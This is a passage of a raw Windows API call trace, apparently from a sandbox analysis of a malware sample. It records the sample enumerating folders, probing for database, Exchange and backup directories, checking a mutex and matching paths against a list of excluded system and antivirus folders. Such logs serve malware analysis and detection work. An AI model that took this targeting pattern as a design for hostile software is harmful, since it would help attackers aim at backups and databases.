ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0057.046] GetLastError () returned 0x12 [0057.046] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.046] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0057.046] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.046] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.047] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.047] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.047] GlobalUnlock (hMem=0x44000c) returned 0 [0057.047] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.047] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.047] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.047] GlobalUnlock (hMem=0x44000c) returned 0 [0057.047] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.047] GlobalUnlock (hMem=0x440004) returned 0 [0057.047] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.047] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.047] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.047] GlobalUnlock (hMem=0x440004) returned 0 [0057.047] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.047] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.047] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.047] GlobalUnlock (hMem=0x440004) returned 0 [0057.047] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.047] GlobalUnlock (hMem=0x44000c) returned 0 [0057.047] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.047] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\System\\MSMAPI", len=0x2b | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\System\\MSMAPI") returned 1 [0057.047] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.047] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.047] GlobalUnlock (hMem=0x44000c) returned 0 [0057.047] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.048] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.048] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.048] GlobalUnlock (hMem=0x44000c) returned 0 [0057.048] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.048] GlobalUnlock (hMem=0x440004) returned 0 [0057.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@巨R嶼R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0057.050] GetLastError () returned 0x3 [0057.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.051] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0057.051] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@嵤R企@\x18㿬Q\x181")) returned 0xffffffff [0057.051] GetLastError () returned 0x2 [0057.051] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.051] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.052] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0057.052] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@缤R企@\x18?T\x18;")) returned 0xffffffff [0057.052] GetLastError () returned 0x2 [0057.052] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.052] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.052] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0057.052] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@锴R企@\x18?T\x18D")) returned 0xffffffff [0057.052] GetLastError () returned 0x2 [0057.053] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.053] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.053] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0057.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@嵤R企@\x18缤R\x18j")) returned 0xffffffff [0057.053] GetLastError () returned 0x2 [0057.053] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.053] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0057.053] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0057.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@锴R企@\x18?T\x18q")) returned 0xffffffff [0057.054] GetLastError () returned 0x2 [0057.054] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\缠RP") returned 6 [0057.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@練R企@\x18?T\x18y")) returned 0xffffffff [0057.054] GetLastError () returned 0x2 [0057.054] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@嵤R企@\x18?T\x18\x81")) returned 0xffffffff [0057.054] GetLastError () returned 0x2 [0057.054] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.055] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@锴R企@\x18?T\x18\x88")) returned 0xffffffff [0057.055] GetLastError () returned 0x2 [0057.055] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.055] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.055] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@練R企@\x18?T\x18\x8f")) returned 0xffffffff [0057.055] GetLastError () returned 0x2 [0057.055] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.055] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.055] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@嵤R企@\x18?T\x18\x97")) returned 0xffffffff [0057.055] GetLastError () returned 0x2 [0057.055] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.055] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.055] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.055] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.055] GlobalUnlock (hMem=0x440004) returned 0 [0057.055] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.056] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.056] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.056] GlobalUnlock (hMem=0x440004) returned 0 [0057.056] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.056] GlobalUnlock (hMem=0x44000c) returned 0 [0057.056] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.056] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.056] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.056] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.056] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.056] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0057.056] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.056] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.056] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0057.056] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.056] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.056] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0057.056] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.056] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.056] GlobalUnlock (hMem=0x44000c) returned 0 [0057.056] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.056] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.056] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.056] GlobalUnlock (hMem=0x44000c) returned 0 [0057.056] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.056] GlobalUnlock (hMem=0x440004) returned 0 [0057.056] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.056] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0057.057] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0057.057] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0057.057] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0057.057] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0057.057] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0057.057] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0057.057] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0057.057] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\msmapi\\") returned 0x2c [0057.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0057.057] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.057] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.057] GlobalUnlock (hMem=0x440004) returned 0 [0057.057] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.057] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.057] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.057] GlobalUnlock (hMem=0x440004) returned 0 [0057.057] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.058] GlobalUnlock (hMem=0x44000c) returned 0 [0057.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0057.058] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.058] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0057.058] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 